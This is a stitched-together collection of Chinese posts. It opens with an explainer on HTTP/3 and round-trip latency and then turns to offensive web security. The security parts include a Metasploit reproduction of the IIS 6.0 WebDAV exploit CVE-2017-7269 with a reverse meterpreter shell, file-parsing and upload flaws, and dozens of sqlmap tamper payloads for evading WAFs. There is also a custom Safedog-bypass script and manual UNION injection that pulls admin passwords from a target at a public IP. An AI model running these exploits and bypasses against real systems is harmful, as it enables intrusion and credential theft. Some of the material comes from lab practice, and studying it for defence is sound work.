怎么看HTTP/3 互联网通信发展史其实是人类与RTT斗争的历史什么是RTT？RTT是Round Trip Time的缩写，通俗地说，就是通信一来一回的时间。TCP建立连接时间最早大家使用TCP来运输HTTP，TCP想必大家很熟悉了，需要三次握手，建立了TCP虚拟通道，那么这三次握手需要几个RTT时间呢？一去 （SYN）二回 （SYN+ACK）三去 （ACK）相当于一个半来回，故TCP连接的时间 = 1.5 RTT 。HTTP交易时间这意味着，用户在浏览器里输入的网址URL，直到时间流逝了1.5RTT之后，TCP才开始运输HTTP Request，浏览器收到服务器的HTTP Response，又要等待的时间为：一去（HTTP Request）二回 （HTTP Responses）故HTTP的交易时间 = 1 RTT那么基于TCP传输的HTTP通信，一共花费的时间总和：HTTP通信时间总和 = TCP连接时间 + HTTP交易时间= 1.5 RTT + 1 RTT = 2.5 RTT安全加密通信随着互联网的爆发式增长，人类发现完全明文传输的HTTP通信很不安全。做为OSI七层参考模型的现实实现的TCP/IP协议，在设计之初没有考虑安全加密的环节。互联网先驱Netscape公司，创造性发明了SSL（Secure Socket Layer），SSL位于TCP与HTTP之间，做为HTTP的安全供应商，全权负责HTTP的安全加密工作。IP / TCP / SSL / [HTTP]各个通信模块之间的站位如上所示，将HTTP用[ ]括起来，表示HTTP被SSL安全加密了。随着SSL的名气攀升，互联网标准化组织IETF，觉得SSL是一个好东西，就拿来用了。但SSL最初只是用于加密HTTP的，IETF觉得这是一个硬伤，为什么不能用来做为所有应用层协议的安全供应商呢？来传输邮件、文件、新闻等等。实现这一点很简单，只要在协议里增加一个Application Protocol 类型字段。在Application Protocol 有一个类型是“IP”,意味着TLS不仅可以运输应用层协议如HTTP、FTP，还可以运输IP，这就是Cisco Any Connect的应用场景。TLS (Transport Layer Security)于是，IETF在SSL 3.0版本的基础上，重新设计并命名了这个协议，其全新的名字为TLS，最初的版本为1.0版本。从其名字就可以看出，其核心使命就是保证传输层的安全。各个通信部门成员的占位与SSL占位一致：IP / TCP / TLS / [HTTP]到目前为止，浏览器支持的TLS版本为TLS 1.0、1.1、1.2，当然版本越高越成熟、越安全。HTTPS通常将TLS安全保护的HTTP通信，称之为HTTPS，以区别于没有TLS安全防护的HTTP明文通信。交待了上文的背景知识，还是要回到本文的主题，来看看自从引入了TLS安全防护，看看HTTPS通信的RTT增加到了多少？TLS 1.2以1.2 版本为例，看看HTTPS通信一共要消耗几个RTT时间？1. 浏览器给服务器发送的Client Hello消息（一去）首长好，我支持1.2版本，加密套件列表1、2、3…，以及我的随机码N1，请出示您的证件。2. 服务器给浏览器发送的Server Hello消息（二回）同志们好，那就1.2版本通信吧，加密套件我选用1，我的随机码N2，ECDHE密钥交换素材2，这是我的证件。同志们辛苦了！3. 浏览器给服务器发送的Key Exchange消息（三去）为人民服务！ 嘴里虽这么说着，私下还要偷偷验证首长的证件是否伪造的。首长证书验证成功之后，还要给首长会话呢？会话内容如下：首长辛苦了！ 我的ECDHE密钥交换素材1，接下来我发给您的消息都要加密了（Change Spec）。从这以后，双方的HTTP通信将使用TLS加密了。一共花费了1.5个RTT时间。让我们来计算一下整个HTTPS通信花费的时间总和：HTTPS通信时间总和 = TCP连接时间 + TLS 连接时间 + HTTP交易时间= 1.5 RTT + 1.5 RTT + 1 RTT = 4 RTT如果浏览器与服务器物理距离很近，RTT < 10 ms，即使4 RTT最大也不过40 ms的时间，用户压根感觉不到慢。如果浏览器与服务器相隔上万公里，一个RTT时间通常在200ms以上，4RTT时间通常在1秒以上，用户会明显感觉到网速慢了。HTTP 1.x和很多人想象不一样的是，浏览器从服务器获取的一个页面，通常由很多资源链接所组成。服务器给浏览器推送的第一个页面，页面里通常嵌入了图片资源文本链接、以及动态页面资源链接、或第三方网站的链接资源，还需要浏览器根据这些文本链接内容，去链接所对应的服务器，继续下载链接所对应的内容。浏览器通常采用的流程是，重新建立一个TCP连接、TLS连接、HTTP交易。这又是一个漫长的4RTT等待过程，用户看到浏览器完整页面的时间为完整页面加载时间 = 4RTT *2 = 8RTTHTTP /2自然有人会问，既然第一次页面与第二次页面都是同一个网站服务器，为何第二次页面要重新建立一个TCP连接，一个TLS连接？如果重用第一个TCP连接，那么就少了1.5 RTT + 1.5 RTT = 3 RTT的时间。这是一个好主意，就是用户的多个HTTP Request请求，使用同一个逻辑通道进行运输，这样会大大减少重新建立连接所花费的时间。但是，这样会带来一个副作用，多个HTTP流使用同一个TCP连接，遵守同一个流量状态控制。只要第一个HTTP流遭遇到拥塞，剩下的HTTP流压根没法发出去，这就是头部阻塞（Head of line Blocking）。既然TCP不好用，那为何要吊死在TCP这一棵树上呢？外面的世界很精彩，到外面的世界逛逛。QUIC（Quick UDP Internet Connection）逛下来的感受是，UDP不需要连接，不会带来附加的RTT时间，UDP是一个好的合伙人被HTTP /2拉上了贼船，各合伙人的站位如下：IP / UDP / QUIC这个就是Google开发QUIC协议，QUIC协议集成了TCP可靠传输机制、TLS安全加密、HTTP /2 流量复用技术，其页面的加载时间为2.5 RTT时间。此外，完成QUIC交易的连接的Session ID会缓存在浏览器内存里，如果用户再次打开该页面，无需建立TLS连接，直接使用缓存Session ID 对应的加密参数，服务器可以根据Session ID在缓存里查找对应的加密参数，并完成加密。换句话说，重连TLS连接是一个0 RTT 事件，用户所要等待的页面加载事件 =HTTP交易事件 = 1 RTT。HTTP /3这一次IETF又觉得QUIC是一个好东西，但是希望QUIC不仅可以运输HTTP，还可以运输其它协议，把QUIC与HTTP分离，最终各合伙人的占位如下所示：IP / UDP / QUIC / HTTP这样整体的页面加载时间为2 RTT。TLS 1.3IETF的QUIC标准集成了TLS 1.3版本，1.3版本更简练，建立TLS连接不再需要1.5 RTT，而只需要1 RTT，是因为浏览器第一次就把自己的密钥交换的素材发给服务器，这样就节省了第三次消息，少了0.5个RTT时间。页面的整体加载时间 = TLS 1.3连接时间 + HTTP交易时间 = 1RTT + 1RTT = 2 RTT重连页面的加载时间 = HTTP交易时间 = 1 RTTHTTP /3所带来的挑战99%+以上的手机移动终端、电脑终端，都使用私有IP，都需要NAT设备来完成私有IP与全球IP的转换。这意味着NAT设备通常会记忆用户的通信状态，一旦用户完成了通信，NAT设备会释放这些记忆对于基于TCP的HTTP、HTTPS传输，NAT设备可以根据TCP报文头的SYN / FIN状态位，知道通信什么时候开始，什么时候结束，对应记忆的开始、记忆的结束。但是基于UDP传输的HTTP/3，NAT设备收到流量会知道连接什么时候开始，但是却无法知道流量什么时候结束。NAT设备的记忆如果短于用户会话时间，则用户会话会中断。NAT设备的记忆如果大大长于用户会话时间，则意味着NAT设备的端口资源会白白被占用！最直接的解决方案是，在QUIC的头部模仿TCP的SYN/FIN状态，让沿途的NAT设备知道会话什么时候开始、什么时候结束。但这需要升级全球所有的NAT设备的软件！另外一个可行的方案是，让QUIC周期性地发送Keepalive消息，刷新NAT设备的记忆，避免NAT设备释放自己的记忆。HTTP/3 或者说核心的 QUIC 协议主要是在做三个事情：通过提高链接利用效率减少 RTT，提高数据交互速度。在第一条的基础上，囊括安全需求。解决当前实际网络环境中的适配问题，也就是说协议不能太过 Breaking Change 了。HTTP/1.1 持续发展中，有两个东西变得比较重要，一个是 HTTPS，一个是 HTTP/2。其中， HTTPS 是在 HTTP 的协议上加了一层加密协商，这层加密协商在提高安全性的同时带来了完全新增的 TLS RTT，这对延迟是必然的增加。HTTP/2 的链接复用虽然可以将多个资源放到一个链接里，实现多路复用，却仍有 TCP 层面的排头阻塞（Head-of-line blocking）问题。QUIC 要解决上面问题，要安全，也要复用。会话层是不能单独拿出来做协商了，这个 RTT 是不能留的，最好就是把他整合到新的协议里，所以 QUIC 是 Build-in security; HTTP/2 的复用能力更要覆盖，所以 QUIC 链接建立后的 HTTP 请求也是能直接复用的，等于是完成上述两个东西的一个优化协议。然而，QUIC 的实现在传输层换了协议，从 TCP 换到了 UDP，这个变化可不是说升级就升级的，因为 QUIC 协议要保证可靠、有序、能校错，这些都不是 UDP 被对待的方式啊！很多场景下，UDP 都被当做「可以偶尔被丢弃的流量」，这对一个可靠数据传输是不能承受的。比如，一个官方的例子：NAT 网关。NAT 网关对 TCP 的映射是根据 source_ip:port 和 destination_ip:port 来做的，经过 NAT 网关的 TCP 流量都通过这个四元组做识别，监听 SYN 和 ACK 可以确定 TCP 链接是否建立是否断开；而 NAT 网关对 UDP 流量的处理却没有这么可靠，对于 UDP 流量，NAT 的端口映射可能在某次传输超时之后就被重新分配了，这本来对 UDP 的不可靠的流量也不那么严重，但 QUIC 基于这种实际情况下做，某个建立好要复用的链接，对 NAT 内部机器来说流量来源的端口是会发生变化的，从而四元组做链接标识的事情就结束了。

iis6.0远程代码执行漏洞复现(CVE-2017-7269) 一.实验环境搭建1.目标机:windows server 2003 r2需要目标服务器开启WebDAV靶机IP：192.168.75.134Kali IP ： 192.168.75.129kali中启动Msf，使用CVE-2017-7269攻击插件use exploit/windows/iis/cve_2017_7269没有这个插件的老铁，还麻烦您 在https://github.com/zcgonvh/cve-2017-7269 下载脚本，并且 把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下，然后reload_all进行启用使用show options查看相关攻击参数set RHOSTS 192.168.75.134set HttpHost 192.168.75.134设置返回载荷set payload windows/meterpreter/reverse_tcp使用exploit 或者run进行攻击获取到连接输入shell命令，来到了我们所熟悉的界面查看当前用户权限,whoami普通权限，但是可以通过msf的上传功能传递木马或者提权脚本

web容器漏洞 IIS文件解析漏洞1.初始思路：如果网站禁止上传asp文件我们就上传iis可以解析的cer和asa文件 2.iis6.0:会解析此两类文件：/test.asp/test.jpg test.asp;.jpg 3.iis7.5:解析此类情况：test.jpg/.php 条件：php配置文件开启cgi.fix.pathinfo（php.ini） 4.apache：apache重要文件时在/etc/mime.types文件中写入了可以解析哪些文件和mime类型 解析是由于apache特性从右向左解析。当apache添加addhandle application/x-httpd-php.php 就可以解析php文件。修复是用sethandle然后加正则匹配 5.nginx：解析test.jpg/.php文件，低版本的可以%00.PHP进行解析攻击 同样和apache一样是通过mime.types来识别文件 也是当cgi.fix.pathinfo=1时开启文件修理路径修理功能 在www.conf中加入security.limit_extensions= 没有指定特定格式就可以解析php命令执行漏洞1.iis6.0：命令执行漏洞编号CVE-2017-7269。 在开启webdav服务的情况下可远程执行漏洞 原理：iis6.0处理PROPFIND指令对url的长度没有检查和控制，导致memcpy对虚拟路径执行引发栈溢出。目录遍历1.nginx：目录遍历与apache一样同样是配置错误 开启：/etc/nginx/sites-available/default中的location中加入autoindex on任意上传文件漏洞1.tomcat：修改/conf/web.xml中的readonly=false就可以用put方式创建jsp文件进行远程代码执行漏洞防御总结限制上传文件类型 扩展名检测防止%00截断以及特殊字符绕过，对上传的图片文件进行2次渲染压缩 限制上传文件大小：配置web server 允许最大的post大小 将上传目录设置为静态资源目录，防止被解析为脚本 使用代理页面隐藏真是路径

存储型XSS与反射型XSS有什么区别？ 存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie等。如：人人网又一大波蠕虫，位置在首页+登录就中招+通杀网页和人人桌面反射型XSS，非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。例如这个

sqlmap之tamper绕过安全狗 参考：sqlmap用户手册详解【实用版】根据实际情况，可以同时使用多个脚本，使用-v参数可以看到payload的变化。脚本名：apostrophemask.py 作用：用utf8代替引号1Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'Tested against: all脚本名：equaltolike.py 作用：like 代替等号12345Example:*   Input: SELECT * FROM users WHERE id=1*   Output: SELECT * FROM users WHERE id LIKE 1案例一: http://wooyun.org/bugs/wooyun-2010-087296案例二: http://wooyun.org/bugs/wooyun-2010-074790案例三：http://wooyun.org/bugs/wooyun-2010-072489脚本名：space2dash.py 作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）1Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'Tested against: * MSSQL * SQLite案例一：http://wooyun.org/bugs/wooyun-2010-062878脚本名：greatest.py 作用：绕过过滤’>’ ,用GREATEST替换大于号。1Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0脚本名：space2hash.py 作用：空格替换为#号 随机字符串 以及换行符1234Example:*   Input: 1 AND 9227=9227*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement:MySQL Tested against:MySQL 4.0, 5.0脚本名：apostrophenullencode.py 作用：绕过过滤双引号，替换字符和双引号。1Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'Tested against:MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名：halfversionedmorekeywords.py 作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论123Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"Requirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22脚本名：space2morehash.py 作用：空格替换为 #号 以及更多随机字符串 换行符12345Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement: * MySQL >= 5.1.13 Testedagainst: * MySQL 5.1.41案例一:91ri一篇文章脚本名：appendnullbyte.py 作用：在有效负荷结束位置加载零字节字符编码1Example: ('1 AND 1=1') '1 AND 1=1%00'Requirement:Microsoft Access脚本名：ifnull2ifisnull.py 作用：绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’123Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'Requirement:MySQLSQLite (possibly)SAP MaxDB (possibly)Tested against:MySQL 5.0 and 5.5脚本名：space2mssqlblank.py(mssql) 作用：空格替换为其它空符号Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0FusersRequirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005ASCII table: 案例一: wooyun.org/bugs/wooyun-2010-062878脚本名：base64encode.py 作用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all案例一: http://wooyun.org/bugs/wooyun-2010-060071案例二: http://wooyun.org/bugs/wooyun-2010-021062案例三: http://wooyun.org/bugs/wooyun-2010-043229脚本名：space2mssqlhash.py 作用：替换空格1Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL脚本名：modsecurityversioned.py 作用：过滤空格，包含完整的查询版本注释1Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'Requirement: * MySQLTested against:MySQL 5.0脚本名：space2mysqlblank.py 作用：空格替换其它空白符号(mysql)12345Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0usersRequirement:MySQLTested against:MySQL 5.1案例一:wooyun.org/bugs/wooyun-2010-076735脚本名：between.py 作用：用between替换大于号（>）1Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'Tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-068815脚本名：space2mysqldash.py 作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）注：之前有个mssql的 这个是mysql的1Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'Requirement:MySQLMSSQL脚本名：multiplespaces.py 作用：围绕SQL关键字添加多个空格1Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'Tested against: all案例一: wooyun.org/bugs/wooyun-2010-072489脚本名：space2plus.py 作用：用+替换空格1Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all脚本名：bluecoat.py 作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like1Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'Tested against:MySQL 5.1, SGOS脚本名：nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters1Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all脚本名：space2randomblank.py 作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集1Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'Tested against: all脚本名：sp_password.py 作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾1Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL脚本名：chardoubleencode.py 作用: 双url编码(不处理以编码的)12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545脚本名：unionalltounion.py 作用：替换UNION ALL SELECT UNION SELECTExample: ('-1 UNION ALL SELECT') '-1 UNION SELECT'Requirement: all脚本名：charencode.py 作用：url编码12345Example:*   Input: SELECT FIELD FROM%20TABLE*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名：randomcase.py 作用：随机大小写 Example:Input: INSERTOutput: InsERtTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名：unmagicquotes.py 作用：宽字符绕过 GPC addslashes12345Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20脚本名：randomcomments.py 作用：用/**/分割sql关键字123Example:‘INSERT’ becomes ‘IN//S//ERT’脚本名：charunicodeencode.py 作用：字符串 unicode 编码12345Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′Requirement:ASPASP.NETTested against:Microsoft SQL Server 2000Microsoft SQL Server 2005MySQL 5.1.56PostgreSQL 9.0.3案例一: wooyun.org/bugs/wooyun-2010-074261脚本名：securesphere.py 作用：追加特制的字符串1Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"Tested against: all脚本名：versionedmorekeywords.py 作用：注释绕过12345Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#Requirement:MySQL >= 5.1.13脚本名：space2comment.py 作用：Replaces space character (‘ ‘) with comments ‘/**/’12345Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/usersTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-046496脚本名：halfversionedmorekeywords.py 作用：关键字前加注释12345Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWaRequirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22转自：http://blog.csdn.net/qq_29277155/article/details/52266478x00 前言        sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构，后续的文章也会从源码编写中，阐述sqlmap的种种编码结果。本文从结构中，可以看到sqlmap中的软件工程之美，同时从严谨的软件结构目录分类和构造中，看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。0x01 tamper脚本   当我们下载了【sqlmap】的安装包，解压后到文件夹【sqlmap】，在以下路径，我们可以找到文件夹【tamper】，其中该文件夹有44个脚本分别对44种WAF进行检测。例如360，绿盟WAF，modsecurity.，百度，fortiweb，cloudflare。由此可见老外对国内的WAF也是有了解的，可见他们也会悄悄对国内的WAF进行绕过。0x02 分析tamper脚本由于【tamper】文件夹中有众多的tamper脚本，限于篇幅，无法一一分析，故选取其中一个脚本【lowercase.py】作为样本分析#!/usr/bin/env python    #此处用法为：程序到env设置里查找python的安装路径，再调用对应路径下的解释器程序完成操作。这是非常好的做法"""    #python2.7的多行注释符，此处为三个双引号，因为是其中也有单引号，并且该说明为一般文档说明，故用三个双引号Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission""" #python的多行注释符，此处为三个双引号，因为是其中也有单引号，并且该说明为一般文档说明，故用三个双引号import re    #导入python中的re 字符替换包，方便下面的字符替换from lib.core.data import kb   #导入sqlmap中lib\core\data中的kb函数，测试 SQL 注入的过程中，使用的配置文件事先全部被加载到了 conf 和 kbfrom lib.core.enums import PRIORITY        #导入sqlmap中lib\core\enums中的PRIORITY函数， LOWEST = -100，LOWER = -50，. 详细见enums.py__priority__ = PRIORITY.NORMAL            #定义优先级，此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。    pass #pass 不做任何事情，一般用做占位语句。为了保持程序结构的完整性。def tamper(payload, **kwargs):     #定义tamper脚本，payload, **kwargs 为定义的参数，其中**kwargs为字典存储，类似于 {'a': 1, 'c': 3, 'b': 2}     """         #python的多行注释符，此处为三个双引号，因为是其中也有单引号，并且该说明为一般文档说明，故用三个双引号    Replaces each keyword character with lower case value     #此处为tamper说明 ，以便使用该脚本。在本例中，该脚本可以    Tested against:                                                                            #用于多种数据库。并且作用于弱防护效果的防火墙        * Microsoft SQL Server 2005        * MySQL 4, 5.0 and 5.5        * Oracle 10g        * PostgreSQL 8.3, 8.4, 9.0    Notes:        * Useful to bypass very weak and bespoke web application firewalls          that has poorly written permissive regular expressions        * This tamper script should work against all (?) databases    >>> tamper('INSERT')    'insert'    """ #python的多行注释符，此处为三个双引号，因为是其中也有单引号，并且该说明为一般文档说明，故用三个双引号            retVal = payload                                                        # 将payload赋值给  retVal ，以便中间转换。    if payload:                                                                 # 进行判断payload        for match in re.finditer(r"[A-Za-z_]+", retVal):        # 对 retVal 【payload】进行小写查找            word = match.group()                                        #将查找到的字母赋值给word            if word.upper() in kb.keywords:                          #如果在攻击载荷中有大写字母                retVal = retVal.replace(word, word.lower())    #将大写字母转换成小写字母。    return retVal                                                               #返回小写字母到这里，我们可以看出，该脚本实现了将攻击载荷中大写字母转成了小写字母0x03 编写一个tamper脚本         在这里，我们尝试写一个绕过安全狗的tamper脚本，毕竟安全狗在服务器安全领域还是挺不错的，竟然还是免费的，在linux和windows上有各种版本，并且一直维护更新中。#!/usr/bin/env python                                                                        #此处代码可以直接从其他tamper复制粘贴过来"""Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)   #常规文档说明     See the file 'doc/COPYING' for copying permissionv0.0.1                                                                                               #添加这个脚本的版本说明2016.08.21                                                                                        #添加我们写这个脚本的日期"""from lib.core.enums import PRIORITY    #导入sqlmap中lib\core\enums中的PRIORITY函数， LOWEST = -100，LOWER = -50，. 详细见enums.py__priority__ = PRIORITY.LOW               #定义优先级，此处为级别为【一般】def dependencies():                              #定义dependencies():此处是为了和整体脚本的结构保持一致。    pass                                               #pass 不做任何事情，一般用做占位语句。为了保持程序结构的完整性def tamper(payload, **kwargs):      #定义tamper脚本，**kwargs 为字典存储，类似于 {'a': 1, 'c': 3}     """   To bypass safedog                             Replaces space character (' ') with plus ('/*|%20--%20|*/')          #把空格替换为（/*|%20--%20|*/）绕过，此处为绕过规则    >>> tamper('SELECT id FROM users')                                   #此处为替换后的具体执行形式    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'    """    retVal = payload                                                                     # 将payload赋值给  retVal ，以便中间转换。    if payload:                                                                                       retVal = ""        quote, doublequote, firstspace = False, False, False             #定义这些符号参数，防止对后面的替换造成影响        for i in xrange(len(payload)):                                               # 在攻击载荷中逐个进行判断操作。            if not firstspace:                                                                #如果攻击载荷的第一个字段是空格，则进行替换                if payload[i].isspace():                    firstspace = True                    retVal += "/*|%20--%20|*/"                                      #把空格（ ） 替换成（/*|%20--%20|*/）                    continue                                                                     #继续进行判断操作            elif payload[i] == '\'':                                                         #如果攻击载荷中有（\ ），则进行编码转换                quote = not quote            elif payload[i] == '"':                                                          #如果攻击载荷中有（“ ），则进行编码转换                doublequote = not doublequote            elif payload[i] == " " and not doublequote and not quote:         #如果攻击载荷中有空格（），并且它既不是doublequote 或 quote                  retVal += "/*|%20--%20|*/"                                                    #则进行编码转换                continue                                                                            继续执行            retVal += payload[i]                                                            #得到重新组合的payload    return retVal# 该脚本可以在github中找到：https://github.com/ym2011/penetration/tree/master/scripts0x04 参考资料http://sqlmap.org/https://github.com/sqlmapproject/sqlmap/https://github.com/sqlmapproject/sqlmap/wikihttps://github.com/sqlmapproject/sqlmap/wiki/FAQhttps://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries转自：http://www.freebuf.com/articles/1000.htmlWAF（web应用防火墙）逐渐成为安全解决方案的标配之一。正因为有了它，许多公司甚至已经不在意web应用的漏洞。遗憾的是，并不是所有的waf都是不可绕过的！本文将向大家讲述，如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测。许多时候，你需要联合使用多个tamper脚本。所有tamper脚本请参考：https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/在这里，我们以针对Mysql的space2hash.py和space2morehash.py为例。这两个脚本将会自动转换所有空格为随机注释，而此脚本的拓展版本（space2morehash.py）也会帮助到你来“打乱”方法函数以绕过WAF的检测。Example: * Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227好了，接下来我们讲重点了。你可以使用命令–tamper 来调用脚本，如下：./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

绕过WTS-WAF拦截注入 暂时没有实例站，先做语言补充尝试进行注入and 1 = 1 测试 被拦截尝试用注释污染参数进行绕过，结果还是不行/!fasdsj-gaf/and/!asjgk+fg/1=1也是被拦截使用id=1+and+1=1测试成功，没被拦截使用order by测试，没被拦截

手注：猫舍靶场 页面地址：http://117.167.136.245:10180/?id=1第一步，判断是否存在sql注入漏洞?id=1 and 1=1(and 1=1 可以去掉)?id=1 and 1=2第二步:判断字段数?id=1 and 1=1 order by 1?id=1 and 1=1 order by 2?id=1 and 1=1 order by 3第三步：判断回显点?id=1 and 1=2 union select 1,2第四步:查询相关内容查询当前数据库名?id=1 and 1=2 union select 1,database()查询当前数据库版本?id=1 and 1=2 union select 1,version()查询当前数据库 表名?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1查询字段名?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1查询字段内容?id=1 and 1=2 union select 1,username from admin limit 0,1?id=1 and 1=2 union select 1,password from admin limit 1,1?id=1 and 1=2 union select 1,password from admin limit 0,1不过.....SQLmap一把嗦不香吗？视频

